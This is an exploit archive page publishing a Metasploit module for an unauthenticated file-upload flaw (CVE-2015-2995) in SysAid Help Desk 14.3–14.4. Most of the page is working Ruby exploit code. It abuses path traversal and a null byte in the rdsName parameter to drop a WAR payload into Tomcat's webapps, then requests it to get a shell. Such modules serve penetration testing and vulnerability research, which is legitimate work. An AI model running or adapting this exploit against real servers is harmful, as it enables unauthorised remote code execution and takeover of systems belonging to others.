exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SysAid Help Desk 'rdslogs' Arbitrary File Upload

SysAid Help Desk 'rdslogs' Arbitrary File Upload
Posted Jul 20, 2015
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated file uploads and handles zip file contents in a insecure way. By combining both weaknesses, a remote attacker can accomplish remote code execution. Note that this will only work if the target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection against null byte injection in file names. This Metasploit module has been tested successfully on version v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability from being exploited.

tags | exploit, java, remote, code execution, file upload
systems | linux, windows
advisories | CVE-2015-2995
SHA-256 | 1e9a143a1b5de756cddc1fdd9fa8d7bc4b814bf2c25ac0074023cc3b3fb3e4be

SysAid Help Desk 'rdslogs' Arbitrary File Upload

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload",
'Description' => %q{
This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
file uploads and handles zip file contents in a insecure way. By combining both weaknesses,
a remote attacker can accomplish remote code execution. Note that this will only work if the
target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection
against null byte injection in file names. This module has been tested successfully on version
v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid
seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability
from being exploited.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2015-2995' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
],
'DefaultOptions' => { 'WfsDelay' => 30 },
'Privileged' => false,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 3 2015'))

register_options(
[
Opt::RPORT(8080),
OptInt.new('SLEEP',
[true, 'Seconds to sleep while we wait for WAR deployment', 15]),
OptString.new('TARGETURI',
[true, 'Base path to the SysAid application', '/sysaid/'])
], self.class)
end


def check
servlet_path = 'rdslogs'
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))

res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
'method' => 'POST',
'vars_get' => {
'rdsName' => bogus_file
}
})

if res && res.code == 200
return Exploit::CheckCode::Detected
end
end


def exploit
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
tomcat_path = '../../../../'
servlet_path = 'rdslogs'

# We need to create the upload directories before our first attempt to upload the WAR.
print_status("#{peer} - Creating upload directory")
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
'method' => 'POST',
'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))),
'ctype' => 'application/xml',
'vars_get' => {
'rdsName' => bogus_file
}
})

war_payload = payload.encoded_war({ :app_name => app_base }).to_s

# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
print_status("#{peer} - Uploading WAR file...")
res = send_request_cgi({
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
'method' => 'POST',
'data' => Zlib::Deflate.deflate(war_payload),
'ctype' => 'application/octet-stream',
'vars_get' => {
'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00"
}
})

# The server either returns a 200 OK when the upload is successful.
if res && res.code == 200
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
register_files_for_cleanup("tomcat/webapps/#{app_base}.war")
else
fail_with(Failure::Unknown, "#{peer} - WAR upload failed")
end

10.times do
select(nil, nil, nil, 2)

# Now make a request to trigger the newly deployed war
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
res = send_request_cgi({
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
'method' => 'GET'
})
# Failure. The request timed out or the server went away.
break if res.nil?
# Success! Triggered the payload, should have a shell incoming
break if res.code == 200
end
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close